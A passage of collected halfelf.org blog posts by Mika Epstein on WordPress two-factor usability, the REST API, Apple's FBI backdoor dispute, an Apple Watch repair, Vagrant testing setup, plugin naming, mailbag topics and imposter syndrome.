I’ve found mixed information regarding how well this works, or doesn’t, for people who are visually impaired. For the most part, I suspect these tools are only barely accessible. They’re probably a nightmare for the blind to use. If you have to rely on getting a text message to log in, then you’re absolutely fucked if you’re overseas or out of range or have no bars.
And then there’s the issue I see faced by everyone, and that would be what happens when you lock yourself out. If you \[get locked out of Apple\](George’s link), it’s a headache but survivable. But if you get locked out of your *own* site, what do you do? Who do you call? Your webhost? Why? It’s not their responsibility to unlock you. And don’t ask WordPress.org to unlock you.
No, you have to know how to do ‘something’ to fix this. Be it disable a plugin without being logged in, or be it editing a file, you will need access to your system and some technical chops to pull this off. And no, folks, the majority of WordPress users don’t have it.
## Security in Steps
We cannot all become secure tomorrow without possibly alienating the user base. WordPress has a 26% market share these days, and that’s a non-insignificant number of people. For them, we absolutely must consider the cradle to grave usability of our products. How useful are they? How safe are they? How easily can someone untangle their site?
Two Factor is one of the ways to go, but it’s only one possible future. It has a higher hurdle than many people understand. Even Google has a [less than 10% adoption rate for 2FA](https://duo.com/blog/estimating-googles-two-factor-2sv-adoption). Facebook probably has less, and if I was asked which user base most matches the skill level of the *average* Wordpress user, it would be Facebook.
WordPress faces a hurdle of its own creation. It’s too popular with too many people of questionable technical ability to just switch on two factor authentication and force it for everyone. Much like multisite, it requires an understanding of some technical aspects of the web, not WordPress, to use safely.
Or as my friend Jan puts it: You must be this tall to ride.
**Categories:** How It Is
**Tags:** security, wordpress
---
### [Chickens, Eggs, and MVP](https://halfelf.org/2016/chickens-eggs-mvp/)
**Published:** February 15, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I do have thoughts on the REST API. I want it. I want it now. But I want it done right.
**Content:**
There’s a lot of weight to shoulder for the [WordPress REST API](http://v2.wp-api.org) project. It has a lot of hurdles to overcome and a lot of doubters to win over.
I’ve been silent about it, thoughtful about it, and questioning about it. I personally want the REST API if, for no other reason, than once it’s in-core, we can set the XMLRPC on fire. Which means…
## My MVP – Parity with XMLRPC
That’s right. If the REST API can do **everything** that XMLRPC can do today, I think that part of its code needs to be in Core today. Get it in. Get people using it. I don’t think the measurements of how many plugins are using the REST API are a valid argument, since you get these numbers (roughly):
- 115 plugins use XMLRPC
- 25 plugins use V1 of the REST API
- 21 plugins use V2 of the REST API
Now, this is not the right measurement because looking at both XMLRPC and the REST API, we are not clocking the number of plugins but the number of *sites* – non WordPress sites even – that are calling these features. And that is a number that cannot be measured. There’s no way on the planet to really know for sure how many people use those features because, for the most part, they’re not doing it within WordPress. All the plugin scans will tell you is people who are *extending* it, for the most part. WooCommerce, Advanced Custom Fields, those are plugins adding their own endpoints and hooks.
And those, yes, are important. But more so is the real-world.
Can we detect how many WordPress sites are using the JSON API? Not really. Sure we could probably violate trust and get a list of every site that’s asked for an upload or install of the plugin, that wouldn’t tell us who has it active and who is using it.
## We’re Not Ready (Until We Leave Beta)
We’re not wrong to be cautious about this. There’s a freedom a plugin has that a core feature does not. Once the REST API is in core, it’s done. I don’t mean development or innovation stops, I mean we can no longer make breaking changes.
> While we believe the API is now stable enough for public testing, we may continue to break the API in the future as we improve it further. Only use the API in development, and do not use version 2 in production environments.
That’s what the documentation for Beta 1 says. And when I look at the changelog for 2.0 Beta 12.0 (released February 9, 2016) I count **six** changes labeled ‘breaking change.’ That’s bad. I hesitate at saying it’s deplorable, as I understand why it’s happening. They’re iterating fast and hard and trying to get to a place where they’re ready.
That said, this is a real world problem, as [Eric Mann](https://twitter.com/EricMann/status/697111525979328512) expressed in a series of Tweets:
> My client installed the REST API before it included post meta. We had to build a bunch of custom work to support meta.
> Then the REST API updated to include meta and broke our integration. I spent a chunk of hours refactoring to compensate so we could update.
> Now, apparently, the REST API is pulling that meta support out and putting it in a separate plugin …
> Yet people still criticize me for saying I’m wary of placing too much dependency on the stability of the API …
Eric’s point is a good and valid one, and it actually supports both ends of the argument.
The REST API is too much right now. It’s too much of all the things, and pulling meta out and letting it iterate quickly is a good choice. That said, the rest of the API needs to consider the same things. What’s done? What’s ready and locked and will not be ‘breaking’ changes? That should be ‘stable release #1’ and *that* goes into core.
From that moment on *what’s in core **cannot** not receive any breaking changes*. Lock down: These are done and will not be broken. Give the developers your promise in blood that this is what it is.
WordPress is backwards compatible for a million miles and frankly the REST API has not been. So make it. Put it in stone. But the REST API plugin itself is really too big to continue developing as it has been, and that’s to it’s detriment. It’s simply not sustainable the way it has been because it’s trying to serve two masters.
On the one hand, it wants to grow rapidly. On the other, it wants to be secure and safe and solid and ready for code.
But right now we’re stuck in Beta, and that hurts the perception. Also we’re still breaking things, and that hurts adoption. No one wants to start using a beta product that changes things in a way that breaks their sites. No one wants to use this for clients yet.
## I Propose a “Release Candidate”
Go back to my first point.
Parity with XMLRPC. That’s all the REST API core plugin should be right now. Pull out everything else and slap the designation “Release Candidate” on there. *You do not break things in Release Candidates*. This candidate is your candidate for core inclusion. When it’s good, that goes into core and we *close* the existing plugin. Of course we do one final update to notify people ‘Hey, this is included in core now! Woohoo!’ It’s called ‘disabling’ the plugin, and anyone who has a feature plugin thats been moved into core, if you want it disabled, contact the plugins team. We will be *happy* to retire you plugin.
What about everything else? They get punted out into their own mini plugins. Like meta, they can be iterated and they can break all they want *until* they hit Release Candidate.
You see, that Release Candidate is your promise that you believe you are ready to go. Everything works the way you want it to, everything is ready for real-world testing. No more breaking changes.
## In Hindsight
Looking back, I think the REST API is a perfect example of why the Featured Plugin system is both perfect and problematic. We are trying to simultaneously treat development like a plugin (fast, light, and iterative) and like core (adaptive, backwards compatible, and reliable). The whole reasons we started breaking out things like MP6 into Feature Plugins has come home to roost and shown that the idea is solid, but the methodology needs to be more set in stone as to what they should and should not do.
For a Featured Plugin, Beta is the time for breaking. RC is the time for testing in the real world. We need to be more firm about what we will include in our Featured Plugins and what we will not. We need to be harder on adding new features. We need to say ‘No’ a little more, and let things be developed outside of the plugin.
We need a plan that includes the retirement of the plugin when it’s job is done.
**Categories:** How It Is
**Tags:** development, plugins, wordpress
---
### [Apple Does the Right Thing](https://halfelf.org/2016/apple-right-thing/)
**Published:** February 22, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I am glad it's hard to hack into my iPhone. Now make it that hard to hack into my laptop.
**Content:**
People died. While we can easily get lost in the implications of preventing deaths and understanding why a mass killing happened, there is one fact we’re left with.
The FBI have asked Apple to write a backdoor into the iPhone code to allow the FBI to brute-force entry into an iPhone.
## What is Brute Force?
Quite simply, it means trying passwords over and over again, until the right one is determined. At its heart, it’s trial and error, and you can program it into another computer. We call it brute force because rather than trying to intellectually deduce a password, it’s done via direct effort.
## Why does this involve Apple?
You can set your iPhone to, after 10 incorrect passwords, wipe itself out. After three (3) wrong passwords, the iPhone makes you wait a little. I’ve set my phone to wipe on 10 incorrect passwords since if someone has my phone and can get in, they can also get access to my banking information.
With a 4-digit passcode, there are 10,000 possible permutations. With 6, this increases to 1,000,000.
The [Ten most common passcodes](http://danielamitay.com/blog/2011/6/13/most-common-iphone-passcodes) have probably been already tried. And if you want a fun read, check out [Why repeating a digit may improve security on your iPhone’s 4-digit lockscreen PIN](http://mindyourdecisions.com/blog/2011/01/27/game-theory-and-probability-of-iphone-passwords/).
## What did the FBI actually ask?
I have read a [copy of the summary](https://assets.documentcloud.org/documents/2714001/SB-Shooter-Order-Compelling-Apple-Asst-iPhone.pdf) (this is not the full 40 page ruling) and many of the news articles. The best I can summarize is this:
Tuesday February 16th, 2016, a magistrate judge in Riverside, California ruled that apple had to provide “reasonable technical assistance” to the government to recover data from an iPhone 5c. This includes bypassing the auto-erase function (the one that happens after 10 bad passwords) and allowing them to submit an unlimited number of passwords. In order to do this, the FBI wants a special version of iOS that only works on the one iPhone.
Apple has five days to respond if they believe that compliance would be “unreasonably burdensome.”
Yes, it says that the FBI is asking to break into one iPhone, but the only way to do that is to write a system that could be used to backdoor any iPhone. This is because Apple intentionally wrote their code so that they couldn’t get at your data. Apple has no way to dismantle or override the 10-tries-and-wipe feature. Only someone with the passcode can do it.
## Is that technically possible?
Of course. There’s no real question about that. It won’t be easy (so ‘unreasonably burdensome’ may or may not apply here). And to be honest, the technical possibility of this is not the issue either.
Does this mean ‘anyone’ could do this? Yes, but it’s unlikely. This sort of hack is an OS-level one, which means the software needs to be signed by a key only Apple knows, unless there’s some other vulnerability in the phone. You can introduce a vulnerability by jailbreaking the phone, of course, but for the most part we don’t know if you can hack it from the outside like that. Signs point to this not being probable. But if it was going to happen, Apple would be the best company to try. They’re the ones who would know best.
I want to stress: I believe anything is technologically possible. Human cloning? You bet! Hacking my iPhone? Sure thing. I do not believe these things are easy, or even probable, but they are in the realm of possibility.
## Why did Apple Say No?
Apple did say no. They said it publicly in a [Customer Letter](http://www.apple.com/customer-letter/) on their website. And they said no, not because these things are hard, but because they are dangerous.
> Specifically, the FBI wants us to make a new version of the iPhone operating system, circumventing several important security features, and install it on an iPhone recovered during the investigation. In the wrong hands, this software — which does not exist today — would have the potential to unlock any iPhone in someone’s physical possession.
>
> \[…\]
>
> Rather than asking for legislative action through Congress, the FBI is proposing an unprecedented use of the All Writs Act of 1789 to justify an expansion of its authority.
>
> The government would have us remove security features and add new capabilities to the operating system, allowing a passcode to be input electronically. This would make it easier to unlock an iPhone by “brute force,” trying thousands or millions of combinations with the speed of a modern computer.
>
> The implications of the government’s demands are chilling. If the government can use the All Writs Act to make it easier to unlock your iPhone, it would have the power to reach into anyone’s device to capture their data. The government could extend this breach of privacy and demand that Apple build surveillance software to intercept your messages, access your health records or financial data, track your location, or even access your phone’s microphone or camera without your knowledge.
You can read the whole thing for yourself, but in essence Apple is saying that by allowing the FBI to insist on this, they can use it as leverage to demand anyone’s phone be unlocked similarly. Keep in mind, while this case is certainly above board, do we really trust our government to always have our best interests in their hearts? Where can we draw a line between a known criminal act and a suspected one? Do you think they will never apply this to a case with tenuous links to an actual crime? We’ve already had wiretapping issues (Watergate, need I say more), and frankly the US government hasn’t gotten much better. And once the US has managed to allow this, many other countries will use this as their reasons to do so.
Also you can’t uncork the lamp. Once the genie is out and this is possible, it will be given out to other agencies and someone will reverse engineer how this works. Other countries *will* get their hands on this. They will use it against innocents. We know this is truth because it already happens now.
## Privacy and Freedom
I’m going to give you the quote you’re expecting. The Ben Franklin one:
> Those who surrender freedom for security will not have, nor do they deserve, either one.
From a technical aspect, the hurdles faced to hack into a cell phone make me feel safer as a user. It makes me feel better to know that the FBI are failing to break into my little iPhone.
**Categories:** How It Is
**Tags:** essay, rant, security
---
### [Poor Support Experience](https://halfelf.org/2016/poor-support-experience/)
**Published:** February 26, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** An experience in no-communication from the unlikeliest source. Apple.
**Content:**
I broke my watch. I have an Apple Watch with the Sapphire glass screen, and I broke the glass.
For reasons that are frustrating, I don’t have AppleCare+. The short version is that I didn’t realize I didn’t have AppleCare until September. The Watch was a present in May (June). I was deemed ineligible, which is annoying, but I appealed and pointed out I couldn’t know I didn’t have it until it was way too late. But I was declined. I didn’t have a receipt, I didn’t have proof, they couldn’t believe me. Fine. I acutally understand that and, were it me, I’d probably reject the claim as well. That meant I knew I was going to have to shell out if I ever needed a repair for a crack. And February 2016 was that time. I took it to the Apple Store and had one of the shittier repair experience of my life.
I *did not* schedule an appointment since they had nothing until Monday anyway, and I knew this would be a “We can’t fix it, we’ll send it in.” sort of thing. I got there and was told that they don’t have a walk-in repair for the Apple Watch like that. They do for the iPhone, and the iPad, but not the Watch. Okay. Stupid. Fine. I set a Walk In appointment for an hour away, and went to run an errand. When I got back, the appointed time came and went. So I asked a nice person in an Apple Shirt how that worked.
This was the first *rude* person I’ve ever dealt with an an Apple store. I wish I’d gotten his name. He was condescending, brusque, and unsympathetic. He said I should have known that the time was an estimate (sure, I did) and that it could be up to another 90 minutes. I stared at him. How the hell should I have known that? I asked if there was a different line for repairs, he said not and then chided me for not making an appointment. Sorry, make an appointment for four days out when I broke something today that will need to be mailed to a repair center? I did not say that, I looked at him and said “I see. So when you said ‘Around 1:55’ what you meant was ‘Between 1:55 and 3:30’? The guy who checked me in didn’t say that.” He shrugged and I walked off.
It took another 45 minutes to get to check in. Once I did, they just said ‘Sit at any open stool.’ This is poorly planned, but okay. I sat and after a few minutes, a fellow asked for my name. He tapped on his iPad, found my appointment, looked at the words on it, looked at my watch, and promptly apologized.
“I’m sorry you had to wait so long for what’s about to be a really fast case.”
I’d already taken the watchband off and nodded. I knew it had to be mailed in. They can’t replace a screen at the store. He filled in a form, the AppleCare+ conversation was had, and we left being told a link would be sent to me.
No. Actually I got a receipt for the work order (fine) and no link. I logged into my Apple ID account at https://supportprofile.apple.com/ and was surprised to see my Apple Watch not listed. I added it and went to the ‘repairs’ link (which said I had 1 repair) only to have this:
> Apple could not locate any repairs for the Apple ID: \[Me\]. Please try again with a different Apple ID or look up a single repair on this page.
Since the work order had the Repair ID, I put that in and the serial and got a pretty useless status page:
[](https://halfelf.org/wp-content/uploads/sites/2/2016/02/apple-store-service.png)
Step 1 | Request – February 10, 2016 : Service requested
That’s it. Step 2 is Service and Step 3 is Return, but there’s no information like an estimated date or even verification it was sent out. At the store I was quoted 3 to 5 days. Now here’s the thing. I *know* what’s going to happen. They will get my watch, go “Oh, it’s broken, look at that!” and send me a refurb. I will not get my watch back, I’ll get a new one (a new used one) and it sucks, but there it is. I accept this. It’s a watch. Then they will send that watch back to the store and I will pick it up. And I was told 3-5 days (I asked ‘business?’ since it was about to be a long weekend, and the fellow said they were working Monday), and that I would get notified of status changes.
But after a few days of nothing, I called Apple and asked two things:
1. Why doesn’t it show up on my open cases for my Apple ID?
2. What actually is the status?
The guy on the phone and the woman at the store were helpful, if disappointing. The Watch had not been shipped out right away. The Dispatch Center did not have it. The store claimed to have sent it and received a sign off, though the shipping folks said that was not the case and status on that repair page still said ‘Service requested.’
The phone tech said to call back in two business days days if I didn’t get any emails or any information, and he added the case to my account. No not the repair, the case. And the direct link to the repair works, but it’s still not associated with my account. I did what any neurotic would do, and I left the page open, hitting refresh once in a while.
Three hours later the status zoomed to step 3: Returned.
> February 13, 2016 : Product replacement pending
So why do I call this a bad service experience?
It should have been much shorter. Apple could have a simple hardware check. Is it really broken? Yes it is, we’ll send it to repair. And this would be for things that are sent in only. If you want to try and trade it in for a fixed one then and there, it’s separate. But if you just want to express mail in your broken whatsit, why not make this easier? The front gate person can ask two questions: Is it really broken? Do you want to send it in for repair/replacement or trade it in today?
I also never once got a single email from Apple about this.
Well that’s not true. I got the first email but that was it. I never got a single status report, like they swore I would. I have root access to my server, I run my own email server, and I checked for every single email with ‘apple.com’ in it for the last 7 days. I found one from `bounces@email.apple.com` and none from `GR_R###@APPLE.COM` (I’ve removed the identifying numbers). I checked and yes, they were sending to the right email. The one email I did get was from `donotreply@apple.com`.
But. Why were none of these emails recorded in my profile or my repair ticket? Why did I never get the promised texts? Why was there no communication? Why, when I contacted Apple, did they actually say their ticket system *still said* the device was ‘submitted’ and nothing more? They had to contact other teams to find the information which I was never able to see in my profile.
As much as I deride my ticket system at the office, the fact that every email is logged twice (once as email and once in the ticket) means I can always go back and see exactly what was sent, by whom, and when. Clearly they have multiple systems, and none talk to each other.
I did get my Watch back. On day 5. I could have had it back on day 2 if they’d learned how to properly communicate.
And guess what? The new watch was broken. It wouldn’t vibrate.
**Categories:** How It Is
**Tags:** rant, support
---
### [Very Voluminous Vagrants](https://halfelf.org/2014/very-voluminous-vagrants/)
**Published:** April 4, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Various methods of testing WordPress. Because there is no one perfect way to get it all done.
**Content:**
I finally sat down and installed Vagrant.
Specifically I installed [Varying Vagrant Vagrants](https://github.com/Varying-Vagrant-Vagrants/VVV). I read, like I do, and the directions were thankfully pretty clear for a change about what the prerequisites were, and I found myself with an install of Vagrant up and running within an hour. At this point I joked “Now what?”
Vagrant is yet another tool you can use to create test websites. It’s a super-powerful command line tool one might use instead of [DesktopServer](https://halfelf.org/2013/review-desktopserver/ "Review: DesktopServer") or MAMP. Now, I love MAMP. While I find DesktopServer more ‘flexible’ in that I can spin up a client’s site really fast to check it, MAMP is even faster to boot when I just want to see one site and test a plugin on it, in part because I use [MAMP No Password](https://www.46palermo.com/blog/run-mamp-without-password-easy-way/) and run it on port 80 (which lets me use Multisite).
But… Sometimes when I want to test, I want to test different configurations at once. Like I want to test on current (3.8.1) and trunk, and I probably want a Multisite Network as well. But Vagrant is way more than *just* a lot of different environments in one go. I mean, if that was all it was, I could edit my hosts file and make a couple extra sites in MAMP or DesktopServer and be done.
## What do you get?
[You get a lot with VVV](https://github.com/Varying-Vagrant-Vagrants/VVV#what-do-you-get), and if all that seems weird to you, it’s okay. The more I work on servers, the more I see a varity of weird setups and the more I want to mess with them for testing. This isn’t to say VVV is perfect. You can’t switch (easily) between PHP 5.2 and 5.3 and 5.4. There’s a whole [discussion ticket](https://github.com/Varying-Vagrant-Vagrants/VVV/issues/98) on the matter.
Vagrant makes multiple servers. Not PHP/Apache instances. *Servers*. They’re virtual, but let’s be honest, so is the server this site is running on. That means I can mess with the server, install extra features if I need to test a clash with PHP version or add ons or whatever, I can do so without blowing up my laptop (or a real server) pretty quickly. That means my plugins test site (on a live server) may not be needed anymore, which led me to the first actual thing I had to do with Vagrant: Make my own sites.
## My own sites!
You get five ‘default’ sites when you use VVV:
- [http://local.wordpress.dev](http://local.wordpress.dev/) for WordPress stable (/www/wordpress-default)
- [http://local.wordpress-trunk.dev](http://local.wordpress-trunk.dev/) for WordPress trunk (/www/wordpress-trunk)
- [http://src.wordpress-develop.dev](http://src.wordpress-develop.dev/) for trunk WordPress development files (/www/wordpress-developer/src)
- [http://build.wordpress-develop.dev](http://build.wordpress-develop.dev/) for a Grunt build of those development files (/www/wordpress-developer/build)
That’s four, I know. The fifth is “vvv.dev” which lists the other four sites. That’s pretty much what most of us need when testing. A local site, one on trunk, one using src, and one with grunt for those CSS/JS things.
I needed more:
- [http://multisite.dev](http://multisite.dev/) Subdomain Multisite (/wordpress-musubdomain)
- [http://local.multisite.dev](http://foo.multisite.dev/) Multisite subsite foo (/wordpress-musubdomain)
- [http://bar.multisite.dev](http://bar.multisite.dev/) Multisite subsite bar (/wordpress-musubdomain)
- [http://baz.multisite.dev](http://baz.multisite.dev/) Multisite subsite baz (/wordpress-musubdomain)
- [http://folder.multisite.dev](http://folder.multisite.dev/) Subfolder Multisite (/wordpress-mufolder)
- [http://local.plugins.dev](http://local.plugins.dev/) Plugins tests (/wordpress-plugins)
Those all run stable. I though about naming them wordpress-something, but I needed the subdomains and it was easier to just make multisite.dev for that. I know what it is, and this is for me first. The way you do this is with [Auto Site Setups](https://github.com/varying-vagrant-vagrants/vvv/wiki/Auto-site-Setup), where Vagrant looks in your www folder and if it finds more folders with the right files, will build sites! Natually that means I made a little Github repo for this called [VVV ASS](https://github.com/Ipstenu/vagrant). Because you’ve met me before, right?
## What do you do with it?
Test all the things, really. Bang on plugins and code that isn’t right, make patches, and have a generally clean environment to play with. It’s also good for building on (core or plugins or themes).
I’ve been struggling with PHP Unit Tests, as well. I understand them, but I don’t really grok them yet. While I dig the idea of unit tests, creating them is a little complicated to me. Suffice to say, I know WordPress on push day wants to unit test all the things, so I should get used to this.
1. In terminal, navigate to your clone of the VVV repo.
2. Run `vagrant ssh` to connect to the virtual machine.
3. Run `cd /srv/www/wordpress-develop` and go into the folder.
4. Run `phpunit`
And there you go. What did all that do? A lot. Check out the Core Handbook on [Automated Testing](http://make.wordpress.org/core/handbook/automated-testing/). Beyond that, I cannot tell you. Yet. Expect more on that later when I’ve gotten someone to explain it better.
## Do I have to use VVV?
Nope! There’s [VIP Quickstart](https://github.com/Automattic/vip-quickstart/), by Automattic (yes, that Automattic) which lets you bring up a WordPress.com-esque site. And there’s [WP Vagrant](https://github.com/tierra/wp-vagrant) which gives you more testing environments, so when you want to blow up core on PHP 5.2, you can do it easy as another vagrant up.
## Am I sold?
Developer Ipstenu is sold. User Ipstenu still likes MAMP best. “Yes, I’ll fix your site” Ipstenu likes DesktopServer. Each has their own place. I’m so comfortable in CLI now, it’s more natural to use MAMP and VVV. DesktopServer comes in to play for me when I need to spin up a site specifically to test an existing site someone else broke.
**Categories:** How It Works
**Tags:** development, open source, wordpress
---
### [What's In a Plugin Name](https://halfelf.org/2016/whats-plugin-name/)
**Published:** February 17, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A name that is both concise and descriptive is still possible.
**Content:**
Not terribly long ago, we stopped letting people use someone else’s trademark or company/plugin name as the first term in their submitted plugin.
Example:
“Girl Scout Cookie Tracker by Mika” would no longer be accepted.
However “Mika’s Girl Scout Cookie Tracker” would be just fine.
The point we try to make here is that your name, your product name, should be first.
Of course, that second name is pretty poor, and I’d be more inclined to name it “Cookie Order Hunter” with the description of “Hunting down Girl Scouts to buy your next hit of Thin Mints has never been easier!” Yes, I know you can buy them online, not the issue here.
This new name is sort of neat. It’s got a kick to it and it has a distinct name. Suddenly I have a sort of branding all my own and this is good! I am now unique and I will stand apart from the other similar plugins.
Of course there are times when you don’t want to do this. I wrote a plugin called “EDD – Prevent EU Checkout” and I submitted it as “EDD Prevent EU Checkout” because it was a “Prevent EU Checkout” plugin *only* for Easy Digital Downloads. If I was doing my normal thing, where I pick a fun name, then I would have used the dev name: “EDD – Sucks to be EU.”
Here, though, I started the plugin with EDD – a search term often used – and ended with a description of what the plugin was. The fact that I keep the name as I do just means I haven’t finished the new version. I will soon be rebranding it to “Prevent EU Checkout with Easy Digital Downloads” because that’s a better SEO friendly name.
But here I’ve pointed out two things. The display name and the submission name are two different things for a reason. The display name is what people see, and the submission name is what sets your URL in the repository. Had I used “Prevent EU Checkout with Easy Digital Downloads” then my URL would be `https://wordpress.org/plugins/prevent-eu-checkout-with-easy-digital-downloads` and that’s not a friendly URL to anyone.
Submit a plugin with the ‘name’ you want for your URL.
Let’s take an example just for fun. Commoji – A plugin that lets you reply to comments with emoji reactions. No it’s not real. Yet. I would submit this as ‘commoji’ (all lowercase) and in the description I would put only the short description, leaving the readme to be read on it’s own. Remember: The readme is vital, so every pertinent piece of information that a user should have *must* be in that readme.
Within my plugin code, and that readme, the plugin’s display name would be “Commoji – Reply to comments with Emoji” (and if I’m feeling puckish, I’d add ? at the end).
Now I have my cake and Edith too! A short plugin slug, a descriptive plugin name, and a unique name that people will remember. I’m not stomping on Emoji’s trademark, such as it is, and I’m demonstrating my own individuality.
**Categories:** How It Is
**Tags:** plugins, wordpress
---
### [Mailbag: No More Contact](https://halfelf.org/2016/mailbag-contact/)
**Published:** February 19, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The mailbox is now closed.
**Content:**
On Monday the 8th I deleted my contact form from this site and my personal one.
That means this may be the end of the mailbag.
Why did it happen? Well, looking back on the last 7 months of messages I got, I can group them as follows:
- Requests that were meant for plugins@wordpress.org
- Password reset requests for the forums
- Requests to delete forum posts (we don’t do that by the way)
- Requests to be hired (even though the page said no)
- Solicitations to write for people for ‘exposure’
- Questions people should have asked in the forums
- A ‘quick’ question that’s an essay
- Complains that I suck
- Complaints that I blocked someone on Twitter/Facebook
- Spam
The legitimate messages that were interesting and thought provoking were few and far between. If I got 4 a month, then it was less than 10% of what my inbox was seeing. And worse, blocking someone via the comment blacklist didn’t stop them from submitting a contact.
After someone informed me, via the contact form, that a post I commented on in the WordPress forums *over a year ago* was out of date, I said enough was enough, and removed it.
How do you contact me?
Why do you need to?
Look, my family and close friends already have my email. Anyone from WordPress who absolutely has to get a hold of me knows how to (they can view my email in my forum profile after all). And the random masses of humanity who just want to ask me something for a quick fix?
You really don’t need to contact me. At all. You just want to because you think it’s faster and cheaper. I value my time more than that these days. I simply cannot spend my time helping everyone. Not with everything else on my plate for WordPress and for work and for life.
Of course if you post in the plugin forums for my plugins I’ll help (maybe not as fast as people might like, but hey, you’re getting free help). Of course if it’s work related I’ll be there.
But I’m not for hire. I’m not here for a ‘quick’ email (which by the way, most of you send me essays). And I’m definitely not here for your abuse.
**Categories:** How It Is
**Tags:** contact, mailbag
---
### [Mailbag: Assumptions are the Mother of All Screw Ups](https://halfelf.org/2016/mailbag-assumptions-mother-screw-ups/)
**Published:** February 12, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Assume good faith.
**Content:**
I get a lot of plugin related emails like this:
> Did the rules change?
Or this:
> You’re not being fair, you let X get away with it.
Or this:
> They’re liars and you should be ashamed.
The problem all these people have is they only see one small portion of the world they’re dipping their toe in.
First of all, if you have a problem with WordPress.org hosted plugins or the repository in general or you think rules are being enforced unfairly or your plugin was closed, you email `plugins@wordpress.org` and not me directly.
The plugin team is a *team* — a group of people who work on the plugins. While you may only be talking to one ‘face’ of the team, when you take conversations offline, you rob us of the ability to track the status of your plugin. Also you prevent us from being able to use the experience to train up new team members.
So yeah, I get pretty firm about this one. Use the right channel for the right complaint. If someone comes by and tells you “Actually you want to talk about that here with the right people” and you decide not to, well you’re a fool.
Back to the case at hand. Those three emails had to do with pretty mundane situations.
The first two were about being busted for a guideline violation. The last was about a review.
> Did the rules change?
This developer was using a trademark in his domain, which is not permitted, and he was told to fix it. The rules have always been that this is disallowed, but sometimes people (hi) miss things.
> You’re not being fair, you let X get away with it.
This happened when the developer was closed for using powered-by links. He complained that six other developers were doing it. I replied thanking him, closed the other six, and told him he still needed to fix his plugin.
> They’re liars and you should be ashamed.
A contentious review-that-should-have-been-a-support-post happened. Then the user came back, apologized, and said he was wrong. *After* that, the developer replied complaining that the user should have opened a ticket. This began a little snippy argument between user and developer, ending with the user repeating that he already had apologized and would delete his post if he could. The developer became irate when I wouldn’t delete the post (the user *can* change his review after all) and deleted his plugin.
## Assumptions Should be Checked
Each person came to the table knowing their small world. I come knowing that there are 42,700 active plugins and over 56k total. I close and open tens of plugins a day. I review more. I see code that makes me sigh and some that makes me celebrate. I also am human and make mistakes. Things slip by reviews, we miss a trademark here and there, and we may not catch everyone doing it wrong.
But the one thing we never are is malicious.
We never hunt down one user and punish them because we hate them. Ever. If we have an argument that seems impolite, we hand off the conversation to someone else. We assume good faith from the developers, but we know communication is hard. We know two people may not speak on the same page sometimes. We know that miscommunication happens. The problems all stem from our assumptions. They assumed we were picking on them, singling them out, and punishing them. We assumed they’d understand we’re just enforcing guidelines.
About the only time we allow ourselves to be mad at people is when we’ve told them “Don’t do this” and they do it anyway. And really this only actually happens if we say “Don’t resubmit, please email us” and they just ignore that message and resubmit. It’s a following directions thing. Trust me, everyone hates you when you don’t follow directions, *even if* it all works out okay, you’re still acting entitled. If you don’t understand the directions, just ask for clarification.
English is imperfect. It’s confusing. It’s downright weird. It’s contradictory. On top of that, humans are weird and imperfect and contradictory.
Assume good faith.
**Categories:** How It Is
**Tags:** mailbag, rant
---
### [Impostercide](https://halfelf.org/2016/impostercide/)
**Published:** February 10, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** On defeating yourself.
**Content:**
This is not about my plugin of the same name.
For my first ‘real’ adult job, I was asked if I knew what WinINSTALL was. “Its like WinImage,” they said.
I had **no** idea what they were talking about. I thought I was applying for a software testing and deployment gig, and that sounded like images. I’d like to say I told them the truth, that I wasn’t sure what that specific software was for. I didn’t. I bluffed. “WinImage? Sure. I know that one.” And then I rattled off what the job description had said. “It takes snapshots of operating systems in order to collect all the changes to know exactly what software did when it was installed. Right?”
Could they see I knew nothing? I guess not, because they hired me. And I had no idea what that actually meant. Sure, I understood the concept, but had no idea what I was really getting into, so I bluffed. I talked around the subject, hitting the technical points I **did** know and, in doing so, got hired. And I was scared for *years* that one day someone would realize I didn’t know jack.
We all start out not knowing, and when we get to the point that we do know, we feel that those early bluffs mean one day, someone will find out, we’re liars. That we know nothing. Learning to deal with the fallout from that one interview has been a years long process. It set the tone for my tech life, my life in general, because I’d built everything on a lie. The lie eventually became truth, but trust me that doesn’t make you feel any better.
When I started speaking at WordCamps, I was terrified because of that lie a decade before. Why would people want to hear from me? I had nothing to say that other people hadn’t said. The second and third times got much easier, but I still get scared. I’m scared now! When I wrote my first eBook, someone said something hurtful. He said “Why would anyone buy your book? They can just google and find that out themselves!” But I wrote it, sold it, and even made a sequel. That was really hard to do because I was facing people telling me things were worthless.
Imposter Syndrome stems from our self doubts. It comes from the place where, like me at twenty, we bluff a little bit in order to get our foot in the door. It’s worse when, like a lot of people these days, we don’t have college degrees. We feel every day that someone will realize we know nothing. Let’s take a deep breath. There’s no magic cure to say “Do this and you will never again have these fears” — I have them all the time. Every time I take on a new role or task, I worry I won’t be able to succeed, and I can trace it back to that niggling fear from that day I bluffed. So I fake the confidence I need to stand up here. But I also remember these facts.
## Fact One: Everyone’s bluffing about something.
We all do it. **We all do it.** If someone says they never exaggerate or bluff about their abilities, they’re liars. Hold on to that thought, because we *all* want to be seen as better than we are. It makes us feel good.
## Fact Two: Some people ARE smarter and/or better than you are.
There’s at least one person out there who is smarter than you are or better than you are at a thing. That’s just a statistical reality. The different between them and you, however, is that you are here. You showed up. You’re *here*. It’s okay. The only way to get better and smarter is to keep doing things. So step one is show up. Accepting the fact that you’re not the best is hard, but as soon as you do, the constant fear to be best starts to fade a little.
## Fact Three: Sometimes it’s just in your head.
Anyone who has a mental illness, be it depression, SAD, anxiety, can tell you this. Sometimes you get hit by a feeling of nothing and you don’t want to leave the house. You may stop answering your parents’ phone calls. You may just get really quiet. Or maybe you have a manic phase, or maybe just being around people hurts. This is all complicated and messy. But when that sort of thing happens, it can take a lot of time to remember to understand your brain and what you’re doing and when it’s *you* and not the world. You have to constantly judge things and ask yourself if your looking at things reasonably.
Sounds like I’m speaking from the heart, huh? When this happens to me, I rely on my friends. I ask them if I’m being irrational, if I’m just feeling self-doubt, or if there’s a real reason.
## Fact Four: Just because it’s all in your head doesn’t mean it’s all in your head
